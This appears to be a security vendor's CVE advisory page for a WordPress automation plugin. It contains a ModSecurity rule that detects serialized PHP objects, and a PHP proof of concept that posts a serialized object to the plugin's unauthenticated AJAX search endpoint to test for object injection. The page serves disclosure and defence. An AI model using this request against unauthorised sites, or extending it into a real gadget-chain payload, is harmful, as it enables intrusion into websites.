    SecRule ARGS_POST:search_term "@rx ^O:[0-9]+:" 
      "t:none,t:urlDecode,logdata:'Matched serialized object pattern'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-49781 - OttoKit: All-in-One Automation Platform <= 1.1.27 - Unauthenticated PHP Object Injection

// This PoC demonstrates PHP object injection via the plugin's AJAX handler.
// Replace target_url with the WordPress installation URL.

$target_url = 'http://example.com';

// Craft a serialized payload with a harmless object (stdClass) to test deserialization
// In a real attack, an attacker would use a POP chain gadget class.
$payload = serialize(new stdClass());

// The plugin accepts data through its global search AJAX endpoint.
// The 'search_term' parameter flows into the vulnerable unserialize() path.
$post_data = array(
    'action' => 'suretriggers_global_search',
    'search_term' => $payload,
    'nonce' => '' // nonce is not validated for unauthenticated users
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Response Code: " . $http_code . "n";
echo "Response body:n";
echo $response . "n";
echo "If the server returns a 200 OK and any output, the deserialization executed.n";
echo "Check PHP error logs for evidence of object instantiation.n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School